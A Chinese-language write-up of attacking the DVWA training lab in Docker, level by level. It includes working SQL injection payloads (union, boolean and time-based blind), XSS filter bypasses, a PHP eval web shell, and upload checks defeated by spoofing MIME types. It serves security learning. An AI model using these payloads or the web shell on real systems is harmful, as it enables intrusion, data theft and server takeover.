Docker搭建DVWA靶场以及刷题记录
- Docker搭建DVWA靶场以及刷题记录
- 靶场搭建
- 刷题记录
- SQL Injection
- Low
- Medium
- High
- Impossible
- SQL Injection(Blind)
- Low
- Medium
- High
- XSS (Reflected)
- Low
- Medium
- High
- XSS (Stored)
- Low
- Medium
- High
- File Upload
- Low
- Medium
- High
Docker搭建DVWA靶场以及刷题记录
靶场搭建
- 获取资源
docker pull sagikazarmark/dvwa
- 启动
docker run -p 8087:80 --name dvwa sagikazarmark/dvwa
- 初始化
刷题记录
SQL Injection
Low
输入
1'//有报错
可以观察到,入参是被双引号包围的
构造1"#
绕过
两个回显位,之后注入语句参考
Medium
id
提供了可选值,不能直接输入,BurpSuite抓包修改看是否有效
id=3'&Submit=Submit//回显报错信息
输入的'
被转义了,直接输注入语句
id=3 union select 1,1&Submit=Submit
High
点击提交会回显
输入特殊语句1'
,直接回显失败页面,可能是布尔盲注
还有空回显的页面
不能盲注,看WriteUp发现是源码设置了limit 1
,从而只能检索一行数据
2' union select database(),12 limit 1,1 #
Impossible
上边的测试方法都没回显了,试试时间盲注
?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5) #
?id=1" and sleep(5) #
也没有明显的时间差异
SQL Injection(Blind)
Low
可以看到查询成功回显User ID exists in the database.
,否则回显User ID is MISSING from the database.
1 //User ID exists in the database.
1' //User ID is MISSING from the database.
1'# //User ID exists in the database.
之后就是查数据了,参考Less-5
1' and left(database(),1)='d' #
......
Medium
抓包修改id值即可
id=5 and length(database()) = 4&Submit=Submit
High
同样也是查询成功回显User ID exists in the database.
,否则回显User ID is MISSING from the database.
1 //User ID exists in the database.
1' //User ID is MISSING from the database.
1'# //User ID exists in the database.
查询数据即可
1' and length(database()) = 4#
XSS (Reflected)
Low
输入注入语句,直接弹窗成功
<script>alert(1)</script>
Medium
同样输入,但是这次不行了,看下是被如何转义了
<script>alert(1)</script>
输入的<script>
没了
闭合pre
标签试试
</pre><script>alert(1)</script>
还是被转义了,这次大小写混合绕过了
</pre><Script>alert(1)</script>
High
输入注入语句,查看页面发现输入还是在pre
标签内
<script>alert(1)</script>
尝试闭合
</pre><Script>alert(1)</script>
逐步测试
</pre>123
</pre><a href="javascript:alert('XSS');">Click me</a>
</pre><a href="#" onclick="alert('XSS')">Click me</a>//点击连接成功弹窗,感觉是屏蔽了`script`
源码如下,确实正则过滤了script
XSS (Stored)
Low
输入注入语句成功弹窗
<script>alert(1)</script>
Medium
<script>alert("Medium")</script>
输入的<script>
没了,大小写和双写混合都没绕过
<Script>alert(321)</script>
看下输入框处的代码,看了WP是对第一个输入框进行攻击
先修改第一个框的输入限制改为30
,再输入攻击语句成功弹窗
High
存储型的练习没有提供删除功能,每次可以重置一下,点击Setup/Rese tDB
和反射型的一样对script
进行了过滤,换一种攻击语句,同样也是针对第一个输入框进行注入
<a href="#" onclick="alert('XSS')">Click me</a>
File Upload
Low
直接上传一句话木马
<?php @eval($_POST['cmd']);?>
提示上传成功
../../hackable/uploads/1.php succesfully uploaded!
http://ip:8087/hackable/uploads/1.php //蚁剑成功连接
Medium
上传一句话木马被提示只允许 JPEG or PNG
,BP抓包确定是否为前端检查,若是则可以抓包修改后缀
抓包有记录,说明是传到了后端进行的检测,尝试其他绕过方法,修改
Content-Type: image/jpeg
->
Content-Type:application/octet-stream
上传成功了,说明是检查了MIME type
High
上传一句话木马,同样被提示只允许图片文件,上传图片马参考Less-16
但是图片没有被按照PHP执行,还需要一个文件包含漏洞的环境,
新开标签页将Security
改为Low
,来到靶场下的File Inclusion
,输入图片马地址被成功执行